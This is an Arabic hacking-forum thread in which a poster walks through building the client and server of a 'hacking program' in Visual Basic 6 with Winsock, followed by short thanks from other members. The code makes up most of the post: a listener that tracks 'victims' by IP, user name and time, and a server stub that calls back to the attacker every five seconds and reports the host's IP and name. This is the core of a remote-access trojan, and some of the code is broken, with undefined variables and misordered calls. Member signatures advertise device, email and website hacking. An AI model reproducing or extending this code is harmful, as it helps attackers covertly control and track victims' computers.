بسم الله الرحمن الرحيم الحمد لله رب العالمين ، والصلاة والسلام على أشرف الخلق وأعز المرسلين وبعد،، موضوعنا اليوم باين من عنوانه سنشرح صنع واجهة برنامج اختراق ( عميل + خادم) -: العميل :- نشغل برنامج الفيجوال بيسك الأدوات ندوس كليك شمال على الـ Tool Bar نختار بعدها Components نختار اداتين اول اداه و اسمها Microsoft Windows Common Controls 6.0 و تانى اداه و هيا الوينسوك و طبعا دى مشهوووووووره جدا للكل و الكل عارف ايه استخداماتها Microsoft Winsock Control 6.0 نضيف اداه List View و اداه Winsock كما موضح بالصوره نركز هنا بقى شويه لأن النقطه دى مهمه جداااااااااا نختار اداه الوينسوك و نعدل كلأتى Name : Sock Index : 0 و بعدها نختار اداه الليست فيو و نعدل عليها Name : lstvict و بعدها ندوس زرار Custom نعدل اعداداتها بالظبط زى ما هو باين ف الصوره و بعدها ندوس على زرار Column Headers نيجى بقى لتقسيم الليست بتاعتنا عشان تظهر فيها معلومات السيرفر ندوس على insert column رقم 1 ده هيبقى اسم الخانه اللى هيظهر فيها رقم الضحيه و نرجع تانى ندوس على insert Column و نضيف IP و بعدها insert Column و نضيف User Name و بعدها insert column و نضيف Time و ملحوظه كدا صغيره Width ده يبقى عرض الخانه عشان ننسق الخانات بالتساوى و عرضهم يبقى قد بعض انا مثلا خليت عرضهم 1653.73 هيظهر لنا بالشكل ده كدا خلصنا من الوينسوك و الليست فيو نضيف تكست و نسميه Sck و نخلى القيمه Visible = False لحد كدا و تمااااااااااام اووووووووووووووى و خلصنا من كلللللللل الأدوات (( الخاصه بالعميييل )) -: الأكواد :- كود التصريحات العامه كود: Dim SckNumber As Integer كود الفورم لود كود: SckNumber = 0 ' تصفير المتغير SckNumber Form1.Sock(Index).Close ' قفل الوينسوك و قطع اى اتصال Form1.Sock(Index).LocalPort = 5100 ' تحديد البورت المناسب للوينسوك Form1.Sock(Index).Listen ' بدايه الأنصات -: اكواد الوينسوك :- ف الوينسوك يوجد اجرائات متععده ما هوا الأجراء و ما هى الأداه؟؟ نختار الأجرائين Close Error كود: '''''''' قطع الأتصال من الخادم المغلق'''''''''' Sock(Index).Close For z = 1 To lstvict.ListItems.Count lstvict.ListItems.Remove lstvict.ListItems(z).Index Next z ''''''''''''''''''''''''''''''''' connectionRequest الأجراء كود: On Error GoTo Err: '''''''''قبول الأتصال و اضافه وينسوك جديده'''''''''' كود: Dim InServer As Long ConnectionAttempts = ConnectionAttempts + 1 If Sock.UBound <= 1 Then InServer = lstvict.ListItems.Count + 1 Else InServer = Val(lstvict.ListItems(lstvict.ListItems.Count).SubItems(0)) + 1 End If Load Sock(InServer) Sock(InServer).Accept requestID Sock(InServer).SendData "v1ct1m" Exit Sub Err: On Error Resume Next: Unload Sock(InServer) ' مسح الوينسوك عند حدوث اى خطا ''''''''''''''''''''''''''''''''''''''''''''''''''''''''' كود: Dim All_data As String, NData() As String Sock(Index).GetData All_data, vbString IndataCompressed = Round(IndataCompressed + (((Len(All_data) / 4) * CompressLevel) / (1024 ^ 2)), 8): IndataNormal = Round(IndataNormal + (Len(All_data) / (1024 ^ 2)), 8) NData = Split(All_data, "[\SC/]") Select Case NData(0) Case "v1ct1m" lstvict.ListItems(index1).ListSubItems.add index2, , Ndata(index3) newItem.ListSubItems.Add , , NData(1) newItem.ListSubItems.Add , , NData(2) newItem.ListSubItems.Add , , NData(3) End Select الرجاء الانتباه للكود التالي كود: Ndata = Split(All_Data, "[\SC/]") معنى الكود هو:يقسم المعلومات اللى واصله من الخادم و بيظهرلنا اللى احنا عاوزينه بس Split : كود التقسيم All Data : الداتا اللى بتوصل من الخادم [\SC/] : الكلمه اللى بتفصل بين الدليل و المعلومات يعنى مثلا نتفرض ان الكود كود: Dim rEdwolf() , Visual As String rEdWolf = Split(Visual,"|") و نفترض ان Visual كود: msg|ahmed و عاوزين نظهر ده ف مسج بوكس هيبقى كودنا [IMG]Msgbox rEdW0LF(1)[/IMG] rEdWolf لتقسيم المعلومات و رقم 1 ده يبقى رقم الداتا ياريت بجد اكون قدرت اوصل وظيفه الكود بكده العميل اصبح تمااااااااااااااااااااااا ااااااااااااااااااااااااا اااااااااااااااام -:السيرفر:- الأدوات نضيف الأدوات كما بالصوره txtip : الاى بى الخاص بالعميل txtport : البورت sock : الوينسوك Timer1 : التايمر اللى هيقوم بعمليه الأتصال و هنخليه يجرب اتصاله كل 5 ثوانى و نخلى القيمه Visible = False و بكده خلصنا ادوات السيرفر الأكواد كود الفورم لود كود: Timer1.Interval = 5000 اكواد الوينسوك الأجراء Close Error كود: Sock.Close الأجراء DataArrival (البيانات اللي بتوصل من العميل) كود: Dim Ndata() As String, All_Data As String 'تقسيم المعلومات Ndata = Split(All_Data, "[\SC/]") Sock.GetData All_Data Select Case Ndata(0) Case "v1ct1m" 'استقبال معلومات الخادم TMPSTR = "v1ct1m" TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalIP TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalHostName TMPSTR = TMPSTR & "[\SC/]" & Time Sock.SendData TMPSTR End Select و اخيرا كود الـ Timer كود: If Not Sock.State = sckConnected Then Sock.Close Sock.Connect txtip, txtport Else Exit Sub End If الآن خلصنا واجهة البرنامج(عميل +خادم) ومبروك عليك أصبحت مبرمج ههههههههه ملاحظة ////// الموضوع منقول للفائدة العامة
Dim SckNumber As Integer
SckNumber = 0 ' تصفير المتغير SckNumber Form1.Sock(Index).Close ' قفل الوينسوك و قطع اى اتصال Form1.Sock(Index).LocalPort = 5100 ' تحديد البورت المناسب للوينسوك Form1.Sock(Index).Listen ' بدايه الأنصات
'''''''' قطع الأتصال من الخادم المغلق'''''''''' Sock(Index).Close For z = 1 To lstvict.ListItems.Count lstvict.ListItems.Remove lstvict.ListItems(z).Index Next z '''''''''''''''''''''''''''''''''
On Error GoTo Err: '''''''''قبول الأتصال و اضافه وينسوك جديده''''''''''
Dim InServer As Long ConnectionAttempts = ConnectionAttempts + 1 If Sock.UBound <= 1 Then InServer = lstvict.ListItems.Count + 1 Else InServer = Val(lstvict.ListItems(lstvict.ListItems.Count).SubItems(0)) + 1 End If Load Sock(InServer) Sock(InServer).Accept requestID Sock(InServer).SendData "v1ct1m" Exit Sub Err: On Error Resume Next: Unload Sock(InServer) ' مسح الوينسوك عند حدوث اى خطا '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Dim All_data As String, NData() As String Sock(Index).GetData All_data, vbString IndataCompressed = Round(IndataCompressed + (((Len(All_data) / 4) * CompressLevel) / (1024 ^ 2)), 8): IndataNormal = Round(IndataNormal + (Len(All_data) / (1024 ^ 2)), 8) NData = Split(All_data, "[\SC/]") Select Case NData(0) Case "v1ct1m" lstvict.ListItems(index1).ListSubItems.add index2, , Ndata(index3) newItem.ListSubItems.Add , , NData(1) newItem.ListSubItems.Add , , NData(2) newItem.ListSubItems.Add , , NData(3) End Select
Ndata = Split(All_Data, "[\SC/]")
Dim rEdwolf() , Visual As String rEdWolf = Split(Visual,"|")
msg|ahmed
Timer1.Interval = 5000
Sock.Close
Dim Ndata() As String, All_Data As String 'تقسيم المعلومات Ndata = Split(All_Data, "[\SC/]") Sock.GetData All_Data Select Case Ndata(0) Case "v1ct1m" 'استقبال معلومات الخادم TMPSTR = "v1ct1m" TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalIP TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalHostName TMPSTR = TMPSTR & "[\SC/]" & Time Sock.SendData TMPSTR End Select
If Not Sock.State = sckConnected Then Sock.Close Sock.Connect txtip, txtport Else Exit Sub End If
التعديل الأخير تم بواسطة BlAcK HuNtEr ; 09-14-2012 الساعة 06:19 PM
BlAcK HuNtEr The Artisi Of HaCkInG!!!
اتشرف بان اكون اول من يرد ع موضوعك تنسيق ابداع تمييز يعطيك الف العافيه تقبل مرورري يالغلا
تعال ودق اشتراك مع قناتي لبى قلبك http://www.youtube.com/user/mishry20?feature=mhee
المشاركة الأصلية كتبت بواسطة مشاري احمد اتشرف بان اكون اول من يرد ع موضوعك تنسيق ابداع تمييز يعطيك الف العافيه تقبل مرورري يالغلا مشكور يالغالي على المرور العطر ،
بارك الله فيك ... بآلتوفيق ..!!
youtube [ما يلفظ من قول الا لديه رقيب عتيد] [ آفعل مآ شئت فكمآ تديُن تدآن ] عندما نقول لا شئ فهذا معناة ان الجرح قد اسكت كل شئ محرك بحث جيوش الهكزر hacker ▎security ▎no Breach>> [ mohamed -kareb ] [Aljyyosh.com] , [Aljyyosh.org] , [Aljyyosh.net] , [ASDELY.net]
حياكم الله ،، نورتونا بمروركم العطر
التعديل الأخير تم بواسطة BlAcK HuNtEr ; 09-15-2012 الساعة 02:51 PM
المشاركة الأصلية كتبت بواسطة يارب رحمتك بارك الله فيك ... بآلتوفيق ..!! تسلم أخي ،، حياك الله
المشاركة الأصلية كتبت بواسطة يارب رحمتك بارك الله فيك ... بآلتوفيق ..!! مشكور يالغالي على المرور الطيب ،، حياك الله
يعطيك العافية
إخترآق أجهزة _ إيميلات 100 %تشفير _ هيكس _ تلغيم 100 %اندكسات _ فرونت بيج 100 %إختراق مواقــع 30 % # تم إعتـزال إختراق الأجهزة والتشفير twitter : Ss_pc3
المشاركة الأصلية كتبت بواسطة سارة الغامدي يعطيك العافية شكرا على المرور العطر حياكم الله
قوانين المنتدى